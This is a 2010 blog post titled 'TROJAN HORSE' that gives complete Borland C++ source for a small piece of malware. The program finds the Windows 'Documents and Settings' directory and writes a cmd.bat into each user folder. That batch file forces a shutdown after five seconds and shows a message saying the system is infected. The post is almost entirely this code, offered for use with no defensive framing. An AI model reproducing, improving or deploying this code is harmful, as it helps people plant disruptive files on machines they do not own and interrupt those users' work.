......................

TROJAN HORSE

Posted by Unknown On Tuesday, June 15, 2010 0 comments

/*******************************************************
 APPLICATION : TROJAN HORSE (Will not work on Windows Vista and Above)
 CODED BY    : Ankit Pokhrel
 COMPILED ON : Borland C++ Ver 5.02
 DATE     : 2010 - June - 11
********************************************************/

#include "fstream.h"
#include "string.h"
#include "dos.h"
#include "dir.h"

int find_root(void)
{
 struct ffblk ffblk;
 int done,drive = -1;
 done = findfirst("c:\\Documents and Settings",&ffblk,FA_DIREC); //Find System Drive
 if(done == 0)
  drive = 0;

 else
  {
   done = findfirst("d:\\Documents and Settings",&ffblk,FA_DIREC);
   if(done == 0)
  drive = 1;
 else
  {
   done = findfirst("e:\\Documents and Settings",&ffblk,FA_DIREC);
   if(done == 0)
  drive = 2;
 else
  {
   done = findfirst("f:\\Documents and Settings",&ffblk,FA_DIREC);
   if(done == 0)
  drive = 3;
  }
 }
 }

 return drive;
}

void infect()
{
 int sys,done;
 char path[50];
 struct ffblk ffblk;
 ofstream outfile;

 sys = find_root();
 switch(sys)
  {
   case 0:
   done = findfirst("c:\\Documents and Settings\\*.*",&ffblk,FA_DIREC);
      break;

   case 1:
   done = findfirst("d:\\Documents and Settings\\*.*",&ffblk,FA_DIREC);
      break;

   case 2:
   done = findfirst("e:\\Documents and Settings\\*.*",&ffblk,FA_DIREC);
      break;

   case 3:
   done = findfirst("f:\\Documents and Settings\\*.*",&ffblk,FA_DIREC);
      break;
  }

 while(!done)
  {
   int condn = strcmp(ffblk.ff_name,".") && strcmp(ffblk.ff_name,"..");
   if(condn)
   {
       switch(sys)
       {
        case 0:
         strcpy(path,"c:\\Documents and Settings\\");
         break;

        case 1:
         strcpy(path,"d:\\Documents and Settings\\");
         break;

        case 2:
         strcpy(path,"e:\\Documents and Settings\\");
         break;

        case 3:
         strcpy(path,"f:\\Documents and Settings\\");
         break;
       }

   strcat(path,ffblk.ff_name);
   strcat(path,"\\cmd.bat");
   outfile.open(path,ios::out);
    {
     if(outfile.good())
     {
       outfile << "@echo off\n";
       outfile << "shutdown -s -t 05 -c \"Your System has been Infected by a TROJAN\"";
       outfile.close();
      }
     }
    }

    strcpy(ffblk.ff_name,"");
    done = findnext(&ffblk);
   }
 }

 int main()
 {
  infect();
  return 0;
 }

No comments:

Post a Comment

Leave Feedback about this BLOG